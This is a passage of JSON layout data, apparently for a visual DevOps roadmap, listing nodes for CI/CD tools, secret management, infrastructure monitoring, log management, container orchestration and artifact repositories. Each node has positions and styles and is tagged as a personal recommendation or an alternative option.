}\n    },\n    {\n      \"id\": \"aQJaouIaxIJChM-40M3HQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1800.8844464722006,\n        \"y\": 1971.2739894115864\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI / CD Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1800.8844464722006,\n        \"y\": 1971.2739894115864\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JnWVCS1HbAyfCJzGt-WOH\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1439,\n        \"y\": 2055.6937435857144\n      },\n      \"width\": 252,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1439,\n        \"y\": 2055.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 252,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2KjSLLVTvl2G2KValw7S7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GitLab CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1439,\n        \"y\": 2002.6937435857144\n      },\n      \"width\": 126,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1439,\n        \"y\": 2002.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dUapFp3f0Rum-rf_Vk_b-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Jenkins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1566.894041311382,\n        \"y\": 1896.6937435857144\n      },\n      \"width\": 124,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1566.894041311382,\n        \"y\": 1896.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-pGF3soruWWxwE4LxE5Vk\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Travis CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1439,\n        \"y\": 1949.6937435857144\n      },\n      \"width\": 126,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1439,\n        \"y\": 1949.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1-JneOQeGhox-CKrdiquq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Circle CI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1566.894041311382,\n        \"y\": 1949.6937435857144\n      },\n      \"width\": 124,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1566.894041311382,\n        \"y\": 1949.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TsXFx1wWikVBVoFUUDAMx\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Drone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1566.894041311382,\n        \"y\": 2002.6937435857144\n      },\n      \"width\": 124,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1566.894041311382,\n        \"y\": 2002.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L000AbzF3oLcn4B1eUIYX\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"TeamCity\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GHQWHLxsO40kJ6z_YCinJ\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1439,\n        \"y\": 1896.6937435857144\n      },\n      \"width\": 126,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1439,\n        \"y\": 1896.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hcrPpjFxPi_iLiMdLKJrO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1749.6885970352912,\n        \"y\": 2135.6542746452424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Secret Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1749.6885970352912,\n        \"y\": 2135.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZWq23Q9ZNxLNti68oltxA\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Sealed Secrets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GHQWHLxsO40kJ6z_YCinJ\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2081.6542746452424\n      },\n      \"width\": 230,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2081.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yQ4d2uiROZYr950cjYnQE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Cloud Specific Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GHQWHLxsO40kJ6z_YCinJ\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2189.6542746452424\n      },\n      \"width\": 230,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2189.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tZzvs80KzqT8aDvEyjack\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Vault\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GHQWHLxsO40kJ6z_YCinJ\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2135.6542746452424\n      },\n      \"width\": 120,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2020.6275872741135,\n        \"y\": 2135.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GHQWHLxsO40kJ6z_YCinJ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SOPs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2146.6275872741135,\n        \"y\": 2135.6542746452424\n      },\n      \"width\": 104,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2146.6275872741135,\n        \"y\": 2135.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qqRLeTpuoW64H9LvY0U_w\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1437.7647088844683,\n        \"y\": 2135.6542746452424\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infrastructure Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1437.7647088844683,\n        \"y\": 2135.6542746452424\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W9sKEoDlR8LzocQkqSv82\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Zabbix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1443.6500824678124,\n        \"y\": 2329.3422065391833\n      },\n      \"width\": 117,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1443.6500824678124,\n        \"y\": 2329.3422065391833\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NiVvRbCOCDpVvif48poCo\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Prometheus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1442.5,\n        \"y\": 2222.3422065391833\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1442.5,\n        \"y\": 2222.3422065391833\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bujq_C-ejtpmk-ICALByy\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Datadog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1563.6500824678124,\n        \"y\": 2329.3422065391833\n      },\n      \"width\": 108,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": 1563.6500824678124,\n        \"y\": 2329.3422065391833\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"niA_96yR7uQ0sc6S_OStf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Grafana\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1442.5,\n        \"y\": 2275.3422065391833\n      },\n      \"width\": 229,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1442.5,\n        \"y\": 2275.3422065391833\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gaoZjOYmU0J5aM6vtLNvN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 2009.6937435857144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Logs Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1186.9080590588455,\n        \"y\": 2009.6937435857144\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"K_qLhK2kKN_uCq7iVjqph\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Elastic Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1847.867646144425\n      },\n      \"width\": 154,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1847.867646144425\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s_kss4FJ2KyZRdcKNHK2v\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Graylog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1900.867646144425\n      },\n      \"width\": 154,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1900.867646144425\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dZID_Y_uRTF8JlfDCqeqs\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Splunk\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1740.867646144425\n      },\n      \"width\": 154,\n      \"height\": 50,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1740.867646144425\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 50\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"cjjMZdyLgakyVkImVQTza\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Papertrail\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1687.867646144425\n      },\n      \"width\": 154,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.9080590588455,\n        \"y\": 1687.867646144425\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yq8kVoRf20aL_o4VZU5--\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2415.411508945109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Container Orchestration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wNguM6-YEznduz3MgBCYo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2415.411508945109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XbrWlTyH4z8crSHkki2lp\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"GKE / EKS / AKS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"K81bmtgnB1gfhYdi3TB5a\"\n      },\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2503.733953859971\n      },\n      \"width\": 232,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2503.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FE2h-uQy6qli3rKERci1j\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"AWS ECS / Fargate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2556.733953859971\n      },\n      \"width\": 232,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2556.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VD24HC9qJOC42lbpJ-swC\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Docker Swarm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hIBeTUiAI3zwUY6NgAO-A\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2609.733953859971\n      },\n      \"width\": 232,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1191.5919421168855,\n        \"y\": 2609.733953859971\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zuBAjrqQPjj-0DHGjCaqT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1775.6994137533861,\n        \"y\": 2415.411508945109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Artifact Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1775.6994137533861,\n        \"y\": 2415.411508945109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C_sFyIsIIpriZlovvcbSE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Artifactory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1804.1994137533861,\n        \"y\": 2223.2681164764685\n      },\n      \"width\": 157,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1804.1994137533861,\n        \"y\": 2223.2681164764685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ootuLJfRXarVvm3J1Ir11\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Nexus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1805.1994137533861,\n        \"y\": 2275.2681164764685\n      },\n      \"width\": 155,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1805.1994137533861,\n        \"y\": 2275.2681164764685\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vsmE6EpCc2DFGk1YTbkHS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Cloud Smith\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": 